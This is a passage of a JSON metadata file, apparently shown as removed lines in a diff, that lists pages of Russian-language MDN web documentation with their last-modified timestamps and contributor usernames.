"AndrewSamofalov", - "FIJN" - ] - }, - "Learn/JavaScript/Первые_шаги/Useful_string_methods": { - "modified": "2020-12-02T10:07:41.183Z", - "contributors": [ - "nyood", - "SphinxKnight", - "Ivan961", - "Anonymous", - "RedKvothe", - "ConstantineZz", - "boxa6", - "chrisdavidmills", - "AsVit", - "AliyevHrn", - "slychai85", - "MariyaSka", - "samofand", - "AndrewSamofalov" - ] - }, - "Learn/JavaScript/Первые_шаги/Variables": { - "modified": "2020-07-23T12:20:59.443Z", - "contributors": [ - "k0w4lk", - "SphinxKnight", - "goyalion17", - "ConstantineZz", - "hasiev-elchin", - "Froris", - "AliyevHrn", - "slychai85", - "AndrewSamofalov", - "laion220995", - "HaukIce" - ] - }, - "Learn/JavaScript/Первые_шаги/What_is_JavaScript": { - "modified": "2020-07-16T22:30:12.291Z", - "contributors": [ - "hisbvdis", - "SphinxKnight", - "Avdros", - "ana-karp", - "EugeneSvetlakov", - "goyalion17", - "AlexanderSpivak", - "KrasPvP", - "Kirill20123", - "chrisdavidmills", - "DmitryYev", - "Sherxan", - "DraXXX", - "s0nly", - "InternetShelteredBoy", - "Jertej", - "fragmentbyte", - "YanaGord", - "pathliving", - "perevalova", - "dkireev", - "susov", - "pust0ta", - "Badpioneer", - "MrCopying", - "DRuslan", - "Mikhail_Eltekov", - "alekaru", - "lawyer12" - ] - }, - "Learn/JavaScript/Первые_шаги/Создатель_глуых_историй": { - "modified": "2020-11-24T09:51:12.035Z", - "contributors": [ - "tetragidrohlorid", - "SphinxKnight", - "ikzsl", - "AntonySawyer", - "ConstantineZz", - "vasja-slvm", - "AliyevHrn", - "slychai85", - "epidersis", - "DonVeds" - ] - }, - "Learn/JavaScript/Первые_шаги/Строки": { - "modified": "2020-09-30T14:12:03.725Z", - "contributors": [ - "artsimon555", - "SphinxKnight", - "maxbo8", - "ConstantineZz", - "boxa6", - "galaxy3user", - "CharlyLovegood", - "mironovartem" - ] - }, - "Learn/JavaScript/Первые_шаги/Что_пошло_не_так": { - "modified": "2020-07-16T22:30:36.453Z", - "contributors": [ - "SphinxKnight", - "Immdevrov", - "chrisdavidmills", - "SedovDP", - "ArturWer", - "hasiev-elchin", - "Froris", - "AliyevHrn", - "MariyaSka", - "AndrewSamofalov", - "SergeySM", - "nikitapoly" - ] - }, - "Learn/Pages_sites_servers_and_search_engines": { - "modified": "2020-09-27T11:42:16.769Z", - "contributors": [ - "sailonely", - "PinkDeer", - "beloglazof", - "OrkVasya", - "Kipelych", - "TinaSuhanovskaya", - "Hasyama", - "elcamlost" - ] - }, - "Learn/Performance": { - "modified": "2020-11-19T04:33:49.923Z", - "contributors": [ - "nomercyso2cybersport", - "EgorKorol", - "estelle" - ] - }, - "Learn/Performance/business_case_for_performance": { - "modified": "2020-07-16T22:40:42.596Z", - "contributors": [ - "D.Lesnik" - ] - }, - "Learn/Server-side": { - "modified": "2020-07-16T22:36:02.172Z", - "contributors": [ - "skipp", - "Paul_Yuhnovich", - "jynweythek", - "Geloosa", - "Sumere4ny", - "DIAMONDinc", - "chrisdavidmills" - ] - }, - "Learn/Server-side/Apache_Configuration_htaccess": { - "modified": "2020-11-17T06:08:27.845Z", - "contributors": [ - "chrisdavidmills", - "kirill001" - ] - }, - "Learn/Server-side/Django": { - "modified": "2020-07-16T22:36:35.585Z", - "contributors": [ - "exelay", - "OlegStanKoptev", - "gutgutter", - "Sumere4ny", - "DIAMONDinc", - "alexfromvl", - "DenGodunov" - ] - }, - "Learn/Server-side/Django/Admin_site": { - "modified": "2020-07-16T22:37:05.756Z", - "contributors": [ - "Palladiumm", - "aflyka", - "dimaviolinist", - "askras", - "aimtbr", - "Costonied", - "Keiichii", - "Santa388", - "DIAMONDinc", - "yuriy65", - "Denizz" - ] - }, - "Learn/Server-side/Django/Forms": { - "modified": "2020-10-10T14:48:33.294Z", - "contributors": [ - "hustonCun", - "maksam07", - "Petr28", - "Vanvala", - "theomoore", - "ShuaChee", - "DIAMONDinc", - "Seele22", - "al+chernin", - "alexfromvl" - ] - }, - "Learn/Server-side/Django/Generic_views": { - "modified": "2020-07-16T22:37:18.976Z", - "contributors": [ - "theomoore", - "askras", - "Azwartin", - "expo-lux", - "Seele22", - "DIAMONDinc", - "Keiichii", - "al+chernin" - ] - }, - "Learn/Server-side/Django/Home_page": { - "modified": "2020-07-16T22:37:11.505Z", - "contributors": [ - "askras", - "Costonied", - "julius425", - "DIAMONDinc", - "Keiichii", - "Santa388", - "al+chernin" - ] - }, - "Learn/Server-side/Django/Models": { - "modified": "2020-09-21T15:09:16.230Z", - "contributors": [ - "DrPeryCox", - "ignusin", - "egorbir", - "Palladiumm", - "nuwak", - "alexod", - "Mainstand", - "to-Sky", - "Azwartin", - "bayborodin", - "Keiichii", - "DIAMONDinc", - "carbonec" - ] - }, - "Learn/Server-side/Django/Testing": { - "modified": "2020-07-16T22:37:38.879Z", - "contributors": [ - "Breadp4ck", - "theomoore", - "DIAMONDinc", - "requiemofthesouls", - "Azwartin", - "Seele22", - "al+chernin" - ] - }, - "Learn/Server-side/Django/Tutorial_local_library_website": { - "modified": "2020-07-16T22:36:50.376Z", - "contributors": [ - "mmbl", - "hexeh", - "FeruzOripov", - "Flygrounder" - ] - }, - "Learn/Server-side/Django/development_environment": { - "modified": "2020-07-16T22:36:46.788Z", - "contributors": [ - "maksam07", - "NickSalander", - "Mainstand", - "hexeh", - "PandaBalu", - "mcm8mcm", - "hbble", - "AgeratoS", - "vakhet", - "Elkis", - "MailfTrue", - "hellpirat" - ] - }, - "Learn/Server-side/Django/django_assessment_blog": { - "modified": "2020-07-16T22:37:49.218Z", - "contributors": [ - "DIAMONDinc" - ] - }, - "Learn/Server-side/Django/skeleton_website": { - "modified": "2020-07-16T22:36:54.229Z", - "contributors": [ - "Bogomazof", - "Palladiumm", - "NickSalander", - "sepulenie", - "EfimovSergeiV", - "aPenkov", - "dimaviolinist", - "ArthurKud", - "Costonied", - "DIAMONDinc", - "Flygrounder" - ] - }, - "Learn/Server-side/Django/web_application_security": { - "modified": "2020-07-16T22:37:46.879Z", - "contributors": [ - "NataliaNagaeva", - "Azwartin" - ] - }, - "Learn/Server-side/Django/Аутентификация": { - "modified": "2020-10-09T09:34:14.083Z", - "contributors": [ - "hustonCun", - "i0tool5", - "Andrey.Chichak", - "SYSchel", - "Maksimka101", - "ivkainova", - "VyacheslavLobanov", - "DIAMONDinc", - "warsan", - "Flygrounder", - "kivaschenko", - "MariyaSka", - "zet694", - "al+chernin" - ] - }, - "Learn/Server-side/Django/Введение": { - "modified": "2020-07-16T22:36:41.542Z", - "contributors": [ - "malikovboo", - "exelay", - "NickSalander", - "xc0derx", - "azhlbn", - "NeshkoO", - "kivaschenko", - "hbble", - "Danchek", - "n05tr0m0", - "Limpar", - "vakhet", - "kilovoltov", - "AnnaSamonenko", - "DIAMONDinc" - ] - }, - "Learn/Server-side/Django/Разворачивание": { - "modified": "2020-07-16T22:37:42.545Z", - "contributors": [ - "velocanica", - "Vanvala", - "Nunyapa", - "DIAMONDinc", - "kitasS", - "1Gregory", - "kivaschenko", - "al+chernin" - ] - }, - "Learn/Server-side/Django/Сессии": { - "modified": "2020-07-16T22:37:27.912Z", - "contributors": [ - "egorguscha", - "timur-orudzhov", - "askras", - "al+chernin" - ] - }, - "Learn/Server-side/Express_Nodejs": { - "modified": "2020-07-16T22:37:55.363Z", - "contributors": [ - "Aparin", - "reksar", - "Paul_Yuhnovich", - "daviys", - "Sumere4ny" - ] - }, - "Learn/Server-side/Express_Nodejs/Displaying_data": { - "modified": "2020-07-16T22:38:31.314Z", - "contributors": [ - "mikemoll", - "alxatr", - "MariyaSka" - ] - }, - "Learn/Server-side/Express_Nodejs/Displaying_data/Author_list_page": { - "modified": "2020-07-16T22:38:38.119Z", - "contributors": [ - "alxatr" - ] - }, - "Learn/Server-side/Express_Nodejs/Displaying_data/BookInstance_list_page": { - "modified": "2020-07-16T22:38:36.909Z", - "contributors": [ - "alxatr" - ] - }, - "Learn/Server-side/Express_Nodejs/Displaying_data/Book_list_page": { - "modified": "2020-07-16T22:38:36.242Z", - "contributors": [ - "alxatr", - "MariyaSka" - ] - }, - "Learn/Server-side/Express_Nodejs/Displaying_data/Date_formatting_using_moment": { - "modified": "2020-07-16T22:38:37.510Z", - "contributors": [ - "alxatr", - "MariyaSka" - ] - }, - "Learn/Server-side/Express_Nodejs/Displaying_data/Genre_detail_page": { - "modified": "2020-07-16T22:38:38.667Z", - "contributors": [ - "alxatr" - ] - }, - "Learn/Server-side/Express_Nodejs/Displaying_data/Home_page": { - "modified": "2020-07-16T22:38:35.549Z", - "contributors": [ - "hahlek", - "blok1118", - "alxatr" - ] - }, - "Learn/Server-side/Express_Nodejs/Displaying_data/LocalLibrary_base_template": { - "modified": "2020-07-16T22:38:35.087Z", - "contributors": [ - "hahlek", - "alxatr", - "MariyaSka" - ] - }, - "Learn/Server-side/Express_Nodejs/Displaying_data/Template_primer": { - "modified": "2020-07-16T22:38:34.518Z", - "contributors": [ - "alxatr" - ] - }, - "Learn/Server-side/Express_Nodejs/Displaying_data/flow_control_using_async": { - "modified": "2020-07-16T22:38:33.391Z", - "contributors": [ - "mikemoll", - "alxatr" - ] - }, - "Learn/Server-side/Express_Nodejs/Introduction": { - "modified": "2020-10-28T17:14:05.095Z", - "contributors": [ - "Craiqser", - "OlegKolesnikoff", - "insomniac-bear", - "ijetsoft", - "a.d.uvarov", - "yozhikvtumane", - "booom", - "Anna-Myzukina", - "kefir266", - "Paul_Yuhnovich", - "ivaskonyan" - ] - }, - "Learn/Server-side/Express_Nodejs/development_environment": { - "modified": "2020-07-16T22:38:01.474Z", - "contributors": [ - "OlegKolesnikoff", - "SmIB" - ] - }, - "Learn/Server-side/Express_Nodejs/forms": { - "modified": "2020-10-30T05:59:56.813Z", - "contributors": [ - "Rams3ska", - "andrewsha256", - "mikemoll", - "kulia26", - "vvalear", - "MariyaSka" - ] - }, - "Learn/Server-side/Express_Nodejs/forms/Create_BookInstance_form": { - "modified": "2020-07-16T22:38:45.863Z", - "contributors": [ - "mikemoll" - ] - }, - "Learn/Server-side/Express_Nodejs/forms/Create_genre_form": { - "modified": "2020-07-16T22:38:43.206Z", - "contributors": [ - "zhd4nov" - ] - }, - "Learn/Server-side/Express_Nodejs/forms/Delete_author_form": { - "modified": "2020-07-16T22:38:46.661Z", - "contributors": [ - "MariyaSka" - ] - }, - "Learn/Server-side/Express_Nodejs/forms/Update_Book_form": { - "modified": "2020-07-16T22:38:48.138Z", - "contributors": [ - "MariyaSka" - ] - }, - "Learn/Server-side/Express_Nodejs/mongoose": { - "modified": "2020-07-16T22:38:23.060Z", - "contributors": [ - "alxatr", - "Admin-149", - "ljapkin-roman", - "Delgus", - "neyron163", - "MariyaSka" - ] - }, - "Learn/Server-side/Express_Nodejs/routes": { - "modified": "2020-07-16T22:38:27.367Z", - "contributors": [ - "Simbiryan", - "alxatr", - "skm.yura", - "MariyaSka" - ] - }, - "Learn/Server-side/Express_Nodejs/skeleton_website": { - "modified": "2020-10-09T11:34:26.503Z", - "contributors": [ - "yevheniiperekopskyi", - "DmitryZap", - "alxatr", - "MariyaSka", - "Maxim_Tovchenko", - "maxno62", - "ozeep", - "temenb", - "daviys" - ] - }, - "Learn/Server-side/Express_Nodejs/Учебник_сайт_local_library": { - "modified": "2020-07-16T22:38:16.847Z", - "contributors": [ - "maxno62", - "daviys" - ] - }, - "Learn/Server-side/First_steps": { - "modified": "2020-07-16T22:36:10.688Z", - "contributors": [ - "xc0derx", - "Paul_Yuhnovich", - "Sumere4ny", - "Khulagen", - "chrisdavidmills" - ] - }, - "Learn/Server-side/First_steps/Client-Server_overview": { - "modified": "2020-12-07T10:17:52.209Z", - "contributors": [ - "mantisSp", - "valandis", - "SphinxKnight", - "galfimbl95", - "norchah", - "VikaNazarova", - "xc0derx", - "chergav", - "yesha89", - "Tuman", - "mr.raccoon.dev", - "jynweythek", - "Liubava77", - "Limpar", - "Teexy", - "joisadler", - "ElenaMazurik", - "Khulagen" - ] - }, - "Learn/Server-side/First_steps/Introduction": { - "modified": "2020-11-30T09:56:11.980Z", - "contributors": [ - "mantisSp", - "artem.simonenko", - "xc0derx", - "sohimazdai", - "jynweythek", - "cognitive-cake", - "Teexy", - "joisadler", - "Khulagen" - ] - }, - "Learn/Server-side/First_steps/Web_frameworks": { - "modified": "2020-12-07T12:19:38.970Z", - "contributors": [ - "mantisSp", - "valandis", - "Craiqser", - "galfimbl95", - "duduindo", - "nittle", - "OlegKolesnikoff", - "insomniac-bear", - "xc0derx", - "kseolis", - "reksar" - ] - }, - "Learn/Server-side/First_steps/Веб_Безопасность": { - "modified": "2020-12-05T11:58:05.010Z", - "contributors": [ - "valandis", - "ruslanjumagaliev", - "maxlu86", - "tymino" - ] - }, - "Learn/Server-side/Node_server_without_framework": { - "modified": "2020-07-16T22:36:06.418Z", - "contributors": [ - "coldsteelbr", - "Paul_Yuhnovich" - ] - }, - "Learn/Tools_and_testing": { - "modified": "2020-07-16T22:38:57.609Z", - "contributors": [ - "Navin77" - ] - }, - "Learn/Tools_and_testing/Cross_browser_testing": { - "modified": "2020-07-16T22:39:01.559Z", - "contributors": [ - "no1dor", - "TurtleOld", - "slayermass", - "wbamberg", - "Anna-Myzukina" - ] - }, - "Learn/Tools_and_testing/Cross_browser_testing/Feature_detection": { - "modified": "2020-07-16T22:39:23.610Z", - "contributors": [ - "Igor-Sangin" - ] - }, - "Learn/Tools_and_testing/Cross_browser_testing/HTML_and_CSS": { - "modified": "2020-07-16T22:39:11.565Z", - "contributors": [ - "ali19158" - ] - }, - "Learn/Tools_and_testing/Cross_browser_testing/Introduction": { - "modified": "2020-10-20T08:45:48.469Z", - "contributors": [ - "nerrevar", - "slayermass" - ] - }, - "Learn/Tools_and_testing/ГитХаб": { - "modified": "2020-09-30T19:47:51.138Z", - "contributors": [ - "TXCloud", - "PPGAkril", - "garanzha.s.a" - ] - }, - "Learn/Tools_and_testing/Фронтенд_JavaScript_фреймворки": { - "modified": "2020-07-16T22:39:33.460Z", - "contributors": [ - "Anonymous" - ] - }, - "Learn/Tools_and_testing/Фронтенд_JavaScript_фреймворки/React_getting_started": { - "modified": "2020-07-16T22:39:39.236Z", - "contributors": [ - "ckomop0x" - ] - }, - "Learn/Understanding_URLs": { - "modified": "2020-07-16T22:35:30.373Z", - "contributors": [ - "Excent163", - "gadjetron", - "vladislavukhov", - "lerniri" - ] - }, - "Learn/Understanding_domain_names": { - "modified": "2020-07-16T22:35:44.834Z", - "contributors": [ - "StasBalia", - "sergeyshulzhenko", - "CLoud-Maker", - "thecodecreator", - "Glebowsky", - "elcamlost", - "makoviychuk", - "vladislavukhov" - ] - }, - "Learn/Understanding_links_on_the_web": { - "modified": "2020-11-25T08:11:30.000Z", - "contributors": [ - "NikeSmitt", - "Aalexashka", - "vladislavukhov", - "lerniri" - ] - }, - "Learn/Доступность": { - "modified": "2020-07-16T22:40:00.507Z", - "contributors": [ - "baradusov", - "pepelsbey", - "niktariy", - "IgorPuchkov2003", - "buhman1974", - "Pristavka", - "fasnet", - "iksah", - "Paul_Yuhnovich" - ] - }, - "Learn/Доступность/Accessibility_troubleshooting": { - "modified": "2020-07-16T22:40:36.878Z", - "contributors": [ - "boxa6" - ] - }, - "Learn/Доступность/CSS_and_JavaScript": { - "modified": "2020-07-16T22:40:19.160Z", - "contributors": [ - "Madihander", - "boxa6" - ] - }, - "Learn/Доступность/HTML": { - "modified": "2020-07-16T22:40:14.761Z", - "contributors": [ - "TurtleOld", - "baradusov", - "niktariy", - "boxa6" - ] - }, - "Learn/Доступность/Mobile": { - "modified": "2020-07-16T22:40:32.502Z", - "contributors": [ - "boxa6" - ] - }, - "Learn/Доступность/Multimedia": { - "modified": "2020-07-16T22:40:27.927Z", - "contributors": [ - "boxa6" - ] - }, - "Learn/Доступность/WAI-ARIA_basics": { - "modified": "2020-07-16T22:40:23.911Z", - "contributors": [ - "streloc84", - "boxa6" - ] - }, - "Learn/Доступность/What_is_accessibility": { - "modified": "2020-07-16T22:40:06.747Z", - "contributors": [ - "niktariy", - "Frisle", - "Pristavka" - ] - }, - "Learn/Как_сделать_вклад": { - "modified": "2020-07-16T22:33:46.276Z", - "contributors": [ - "SphinxKnight", - "KTatyana", - "BychekRU", - "MuradAz" - ] - }, - "Learn/Фронтенд_разработчик": { - "modified": "2020-10-26T19:26:16.101Z", - "contributors": [ - "Villian79", - "bogpok", - "Menma" - ] - }, - "Learn/Что_такое_веб_сервер": { - "modified": "2020-07-16T22:35:32.096Z", - "contributors": [ - "joshua1955", - "Dozorengel", - "beloglazof", - "Geloosa", - "erelena", - "Sumere4ny", - "talgautb", - "Xryak", - "uralbash", - "elcamlost" - ] - }, - "MDN": { - "modified": "2020-02-19T18:23:03.586Z", - "contributors": [ - "jswisher", - "SphinxKnight", - "wbamberg", - "Jeremie", - "m.onyshchuk", - "BychekRU", - "Mingun", - "teoli", - "uleming", - "Sheppy" - ] - }, - "MDN/About": { - "modified": "2020-09-09T11:16:44.121Z", - "contributors": [ - "andrygreen777", - "S-inTheory", - "SphinxKnight", - "wbamberg", - "BychekRU", - "NekoBroadway", - "jswisher", - "gitzizou", - "warsan", - "Corba", - "uleming" - ] - }, - "MDN/Contribute": { - "modified": "2020-01-05T13:03:37.237Z", - "contributors": [ - "Ivan961", - "lesha.boklag", - "seliverstova", - "wbamberg", - "scrum", - "lavr1986uxa", - "BychekRU", - "dstereo", - "Daniil", - "Unregistered45", - "Aleksej", - "0leg", - "teoli", - "mitabuba", - "ilya", - "Mars" - ] - }, - "MDN/Contribute/Creating_and_editing_pages": { - "modified": "2020-04-10T13:36:06.534Z", - "contributors": [ - "karifan8767", - "wbamberg", - "djigach", - "KaroHovhannisyan", - "Ferguse", - "vaser321", - "TemmyR", - "Servik17", - "vislogurov", - "Chronosms", - "BychekRU", - "SashaSh", - "Spiker" - ] - }, - "MDN/Contribute/Feedback": { - "modified": "2020-09-30T17:52:35.205Z", - "contributors": [ - "chrisdavidmills", - "jswisher", - "SphinxKnight", - "boxa6", - "mrhaack", - "wbamberg", - "warsan", - "BychekRU", - "Palatovskaya" - ] - }, - "MDN/Contribute/Getting_started": { - "modified": "2020-10-30T09:48:31.108Z", - "contributors": [ - "ksam", - "chrisdavidmills", - "undgrnd", - "tensegrity666", - "PaRaD0XCORP", - "iamvector", - "zarabotaet", - "wbamberg", - "b1narykid", - "VsTB", - "denisbalyko", - "BychekRU", - "acidicMercury8", - "vvscode", - "klimovakristina", - "vokaluk666", - "uchayev", - "Rale", - "briliantovoe", - "Aleksej", - "Treder", - "ilya", - "Vovan" - ] - }, - "MDN/Contribute/Howto": { - "modified": "2019-01-16T19:24:18.760Z", - "contributors": [ - "wbamberg", - "Devengineer", - "uleming" - ] - }, - "MDN/Contribute/Howto/Convert_code_samples_to_be_live": { - "modified": "2019-01-17T02:02:49.196Z", - "contributors": [ - "wbamberg", - "irodger" - ] - }, - "MDN/Contribute/Howto/Create_an_MDN_account": { - "modified": "2020-08-25T20:34:15.669Z", - "contributors": [ - "duduindo", - "sayfullayevabdixalil", - "stefantsova", - "svyatoslavlp", - "Fredoss", - "bayashka123", - "seliverstova", - "wbamberg", - "erfari", - "takto", - "yambergaa", - "CaptainMorgan", - "Dimetriu", - "Katya_Kosuga", - "Aleksandr2101" - ] - }, - "MDN/Contribute/Howto/Do_a_technical_review": { - "modified": "2020-01-04T22:10:59.231Z", - "contributors": [ - "Ivan961", - "shmel3", - "wbamberg", - "StyleToken", - "Devengineer", - "Aleksandr2101" - ] - }, - "MDN/Contribute/Howto/Do_an_editorial_review": { - "modified": "2019-10-02T16:12:23.523Z", - "contributors": [ - "wbamberg", - "ivanson", - "Jessai", - "ilyar", - "SnejUgal", - "AlexeyOm", - "L18-666B", - "Devengineer" - ] - }, - "MDN/Contribute/Howto/Report_a_problem": { - "modified": "2020-10-30T08:02:44.010Z", - "contributors": [ - "ksam" - ] - }, - "MDN/Contribute/Howto/Write_a_new_entry_in_the_Glossary": { - "modified": "2020-07-17T02:29:17.890Z", - "contributors": [ - "stefantsova", - "OrlovPetr", - "boxa6", - "wbamberg", - "MaryoneFrolova", - "chrootsu", - "bracket", - "MuradAz" - ] - }, - "MDN/Contribute/Howto/Добавить_или_обновить_данные_о_браузерной_совместимости": { - "modified": "2019-07-13T14:51:28.876Z", - "contributors": [ - "fuggy" - ] - }, - "MDN/Contribute/Howto/Как_оптимизировать_страницы": { - "modified": "2019-03-23T22:33:34.588Z", - "contributors": [ - "wbamberg", - "che7ovek", - "Glebowsky" - ] - }, - "MDN/Contribute/Howto/Метки_JavaScript_страниц": { - "modified": "2019-01-17T02:41:09.446Z", - "contributors": [ - "wbamberg", - "dyaroman" - ] - }, - "MDN/Contribute/Howto/Создай_интерактивное_упражнение_для_помощи_в_изучении_веба": { - "modified": "2019-03-18T20:31:43.828Z", - "contributors": [ - "MuradAz" - ] - }, - "MDN/Contribute/Процессы": { - "modified": "2019-01-17T00:00:52.853Z", - "contributors": [ - "wbamberg", - "warsan" - ] - }, - "MDN/Editor": { - "modified": "2020-09-30T15:43:33.251Z", - "contributors": [ - "chrisdavidmills", - "andresvara88", - "Vyprichenko", - "Ivan961", - "wbamberg", - "Luboshenko", - "T1mL3arn", - "warsan", - "anastasiya-podolyak", - "BychekRU", - "sputnik1986", - "Grigorjjjmolokov81", - "KrishnaKevalam", - "Slang74" - ] - }, - "MDN/Editor/Basics": { - "modified": "2020-09-30T15:43:33.440Z", - "contributors": [ - "chrisdavidmills", - "aleksandrpnshkn", - "wbamberg", - "ValeriiBoiko", - "djigach", - "warsan", - "JavaS" - ] - }, - "MDN/Editor/Basics/Page_controls": { - "modified": "2020-09-30T15:43:33.388Z", - "contributors": [ - "chrisdavidmills", - "aleksandrpnshkn" - ] - }, - "MDN/Editor/Basics/Toolbar": { - "modified": "2020-09-30T15:43:33.855Z", - "contributors": [ - "chrisdavidmills", - "aleksandrpnshkn" - ] - }, - "MDN/Editor/Source_mode": { - "modified": "2020-09-30T15:43:35.463Z", - "contributors": [ - "chrisdavidmills", - "Ivan961" - ] - }, - "MDN/Editor/Tables": { - "modified": "2020-09-30T15:43:35.242Z", - "contributors": [ - "chrisdavidmills", - "Ivan961" - ] - }, - "MDN/Editor/Горячие_клавиши": { - "modified": "2020-09-30T15:43:34.335Z", - "contributors": [ - "chrisdavidmills", - "Ivan961" - ] - }, - "MDN/Editor/Картинки": { - "modified": "2020-09-30T15:43:34.113Z", - "contributors": [ - "chrisdavidmills", - "Avdros", - "wbamberg", - "pk.prog" - ] - }, - "MDN/Editor/Перенаправление": { - "modified": "2020-09-30T15:43:34.816Z", - "contributors": [ - "chrisdavidmills", - "Ivan961" - ] - }, - "MDN/Editor/Синтаксические_выделения": { - "modified": "2020-09-30T15:43:35.025Z", - "contributors": [ - "chrisdavidmills", - "Ivan961" - ] - }, - "MDN/Editor/Ссылки": { - "modified": "2020-09-30T15:43:34.675Z", - "contributors": [ - "chrisdavidmills", - "Ivan961" - ] - }, - "MDN/Guidelines": { - "modified": "2020-11-02T10:17:56.940Z", - "contributors": [ - "ksam" - ] - }, - "MDN/Kuma": { - "modified": "2019-09-09T15:51:19.091Z", - "contributors": [ - "SphinxKnight", - "wbamberg", - "BychekRU", - "FRiMN" - ] - }, - "MDN/Kuma/Troubleshooting_KumaScript_errors": { - "modified": "2019-07-08T19:30:04.842Z", - "contributors": [ - "fuggy", - "wbamberg", - "MariyaSka", - "cpigat" - ] - }, - "MDN/Structures": { - "modified": "2020-09-30T12:57:22.613Z", - "contributors": [ - "chrisdavidmills", - "wbamberg", - "warsan", - "BychekRU", - "jswisher" - ] - }, - "MDN/Structures/Live_samples": { - "modified": "2020-09-30T12:57:23.093Z", - "contributors": [ - "chrisdavidmills" - ] - }, - "MDN/Structures/Live_samples/Simple_live_sample_demo": { - "modified": "2020-09-30T12:57:23.196Z", - "contributors": [ - "chrisdavidmills", - "fuggy" - ] - }, - "MDN/Tools": { - "modified": "2020-09-30T16:54:08.506Z", - "contributors": [ - "chrisdavidmills", - "wbamberg", - "pk.prog", - "warsan" - ] - }, - "MDN/Tools/Page_watching": { - "modified": "2020-09-30T16:54:08.639Z", - "contributors": [ - "chrisdavidmills", - "wbamberg", - "warsan", - "Jasum", - "Liubava77", - "lavr1986uxa" - ] - }, - "MDN/Tools/URL-suffix": { - "modified": "2020-11-05T06:23:08.678Z", - "contributors": [ - "ksam" - ] - }, - "MDN/User_guide": { - "modified": "2019-01-16T19:44:47.259Z", - "contributors": [ - "wbamberg", - "Mingun" - ] - }, - "MDN/User_guide/Advanced_search": { - "modified": "2019-03-23T23:07:10.929Z", - "contributors": [ - "wbamberg", - "Mingun" - ] - }, - "MDN/User_guide/Deleting_pages": { - "modified": "2019-01-16T19:44:31.713Z", - "contributors": [ - "wbamberg", - "Mingun" - ] - }, - "MDN/User_guide/Feeds": { - "modified": "2019-03-23T23:07:09.701Z", - "contributors": [ - "wbamberg", - "Mingun" - ] - }, - "MDN/User_guide/Linking_to_MDN": { - "modified": "2019-03-23T23:07:15.827Z", - "contributors": [ - "wbamberg", - "Mingun" - ] - }, - "MDN/Сообщество": { - "modified": "2019-09-11T08:01:10.710Z", - "contributors": [ - "SphinxKnight", - "wbamberg", - "yambergaa", - "BychekRU", - "bachileha", - "Palatovskaya" - ] - }, - "MDN/Сообщество/Conversations": { - "modified": "2020-10-09T08:02:44.061Z", - "contributors": [ - "hustonCun", - "EpicStep", - "SuperSurok", - "boxa6" - ] - }, - "MDN/Сообщество/Whats_happening": { - "modified": "2019-06-26T18:29:06.368Z", - "contributors": [ - "fuggy", - "wbamberg", - "pathliving", - "talgautb" - ] - }, - "MDN/Сообщество/Working_in_community": { - "modified": "2020-02-19T18:49:34.950Z", - "contributors": [ - "jswisher", - "boxa6", - "bsergey", - "KarryPro" - ] - }, - "MDN_at_ten": { - "modified": "2019-03-23T22:49:58.338Z", - "contributors": [ - "dimakozakov", - "acidicMercury8", - "Myshov", - "anmo" - ] - }, - "MDN_at_ten/Contributing_to_MDN": { - "modified": "2020-10-30T09:21:05.942Z", - "contributors": [ - "ksam", - "jswisher", - "Valenchak" - ] - }, - "Mozilla": { - "modified": "2019-03-23T23:36:49.497Z", - "contributors": [ - "Shychara", - "uleming", - "Vladimir_Perkun", - "ethertank", - "ziyunfei" - ] - }, - "Mozilla/Add-ons": { - "modified": "2019-09-11T08:19:34.402Z", - "contributors": [ - "SphinxKnight", - "arturparkhisenko", - "helperman", - "varstt", - "ssaayylleerr09", - "Boredix", - "olshevskiy87", - "Fiz", - "badhitman", - "++i_+_++i", - "jatj2015", - "Tihoem", - "uleming", - "Roman.Kulikov", - "bookabook", - "Anomitro_Munshi" - ] - }, - "Mozilla/Add-ons/WebExtensions": { - "modified": "2020-12-07T16:54:20.673Z", - "contributors": [ - "georgiiankov38", - "vasa-vasa66", - "mazza100789", - "SphinxKnight", - "forUmen", - "Liubava77", - "vladimir-nikotin", - "RealRedFox", - "marinru", - "T1mL3arn", - "sergeiDruzhinin", - "pk.prog", - "Grinv" - ] - }, - "Mozilla/Add-ons/WebExtensions/API": { - "modified": "2019-11-26T22:19:40.929Z", - "contributors": [ - "wbamberg", - "SphinxKnight", - "ismorozs", - "rookhive", - "VitalyTartynov", - "Kloshar", - "pk.prog" - ] - }, - "Mozilla/Add-ons/WebExtensions/API/cookies": { - "modified": "2020-10-15T21:52:19.611Z", - "contributors": [ - "Fgeniy", - "andrewlenovo", - "wbamberg", - "PetrT", - "abbycar" - ] - }, - "Mozilla/Add-ons/WebExtensions/API/cookies/Cookie": { - "modified": "2020-10-15T21:52:20.210Z", - "contributors": [ - "podocenov", - "wbamberg", - "anastasiya-solodkaya" - ] - }, - "Mozilla/Add-ons/WebExtensions/API/downloads": { - "modified": "2020-10-15T22:22:46.227Z", - "contributors": [ - "oldpraktik", - "morisbartyno" - ] - }, - "Mozilla/Add-ons/WebExtensions/API/runtime": { - "modified": "2020-10-15T22:27:48.847Z", - "contributors": [ - "rebloor" - ] - }, - "Mozilla/Add-ons/WebExtensions/API/runtime/getManifest": { - "modified": "2020-10-15T22:27:46.978Z", - "contributors": [ - "alexandersolovyov" - ] - }, - "Mozilla/Add-ons/WebExtensions/API/tabs": { - "modified": "2020-10-15T21:45:43.452Z", - "contributors": [ - "wbamberg" - ] - }, - "Mozilla/Add-ons/WebExtensions/API/tabs/get": { - "modified": "2020-10-15T21:45:41.697Z", - "contributors": [ - "wbamberg", - "siweter" - ] - }, - "Mozilla/Add-ons/WebExtensions/API/tabs/hide": { - "modified": "2020-10-15T22:06:20.408Z", - "contributors": [ - "wbamberg", - "Dmitriy11111" - ] - }, - "Mozilla/Add-ons/WebExtensions/API/webRequest": { - "modified": "2020-10-15T22:10:02.359Z", - "contributors": [ - "ksvserg77", - "wbamberg", - "corecode1" - ] - }, - "Mozilla/Add-ons/WebExtensions/API/windows": { - "modified": "2020-10-15T21:58:47.037Z", - "contributors": [ - "wbamberg", - "volodec" - ] - }, - "Mozilla/Add-ons/WebExtensions/API/windows/CreateType": { - "modified": "2020-10-15T22:16:40.690Z", - "contributors": [ - "VivatRafa" - ] - }, - "Mozilla/Add-ons/WebExtensions/Anatomy_of_a_WebExtension": { - "modified": "2019-03-30T03:22:26.644Z", - "contributors": [ - "mdanshin", - "rookhive", - "0_o", - "AlinaLedova", - "radioleggion", - "kynitssa", - "volkovv" - ] - }, - "Mozilla/Add-ons/WebExtensions/Chrome_incompatibilities": { - "modified": "2019-03-18T20:59:23.649Z", - "contributors": [ - "gladisihor" - ] - }, - "Mozilla/Add-ons/WebExtensions/Content_Security_Policy": { - "modified": "2019-09-12T01:22:22.257Z", - 